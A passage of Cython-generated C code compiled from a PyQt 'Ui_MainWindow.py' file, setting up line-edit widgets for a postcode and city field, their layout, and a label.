__pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 189, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__113, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 189, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":190 * self.R_Npa.setAccessibleDescription("") * self.R_Npa.setInputMask("") * self.R_Npa.setText("") # <<<<<<<<<<<<<< * self.R_Npa.setMaxLength(9) * self.R_Npa.setObjectName("R_Npa") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__114, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":191 * self.R_Npa.setInputMask("") * self.R_Npa.setText("") * self.R_Npa.setMaxLength(9) # <<<<<<<<<<<<<< * self.R_Npa.setObjectName("R_Npa") * self.horizontalLayout_2.addWidget(self.R_Npa) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setMaxLength); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__115, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":192 * self.R_Npa.setText("") * self.R_Npa.setMaxLength(9) * self.R_Npa.setObjectName("R_Npa") # <<<<<<<<<<<<<< * self.horizontalLayout_2.addWidget(self.R_Npa) * self.R_City = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__116, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":193 * self.R_Npa.setMaxLength(9) * self.R_Npa.setObjectName("R_Npa") * self.horizontalLayout_2.addWidget(self.R_Npa) # <<<<<<<<<<<<<< * self.R_City = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_City.setMinimumSize(QtCore.QSize(290, 0)) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":194 * self.R_Npa.setObjectName("R_Npa") * self.horizontalLayout_2.addWidget(self.R_Npa) * self.R_City = QtWidgets.QLineEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.R_City.setMinimumSize(QtCore.QSize(290, 0)) * self.R_City.setText("") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_City, __pyx_t_3) < 0) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":195 * self.horizontalLayout_2.addWidget(self.R_Npa) * self.R_City = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_City.setMinimumSize(QtCore.QSize(290, 0)) # <<<<<<<<<<<<<< * self.R_City.setText("") * self.R_City.setObjectName("R_City") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__117, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":196 * self.R_City = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_City.setMinimumSize(QtCore.QSize(290, 0)) * self.R_City.setText("") # <<<<<<<<<<<<<< * self.R_City.setObjectName("R_City") * self.horizontalLayout_2.addWidget(self.R_City) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__118, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":197 * self.R_City.setMinimumSize(QtCore.QSize(290, 0)) * self.R_City.setText("") * self.R_City.setObjectName("R_City") # <<<<<<<<<<<<<< * self.horizontalLayout_2.addWidget(self.R_City) * self.formLayout.setLayout(4, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_2) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__119, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":198 * self.R_City.setText("") * self.R_City.setObjectName("R_City") * self.horizontalLayout_2.addWidget(self.R_City) # <<<<<<<<<<<<<< * self.formLayout.setLayout(4, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_2) * self.label_14 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":199 * self.R_City.setObjectName("R_City") * self.horizontalLayout_2.addWidget(self.R_City) * self.formLayout.setLayout(4, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_2) # <<<<<<<<<<<<<< * self.label_14 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_14.setObjectName("label_14") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_int_4, __pyx_t_6, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_int_4, __pyx_t_6, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_9 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_INCREF(__pyx_int_4); __Pyx_GIVEREF(__pyx_int_4); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 2+__pyx_t_8, __pyx_t_1); __pyx_t_6 = 0; __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":200 * self.horizontalLayout_2.addWidget(self.R_City) * self.formLayout.setLayout(4, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_2) * self.label_14 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_14.setObjectName("label_14") * self.formLayout.setWidget(9, QtWidgets.QFormLayout.LabelRole, self.label_14) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); 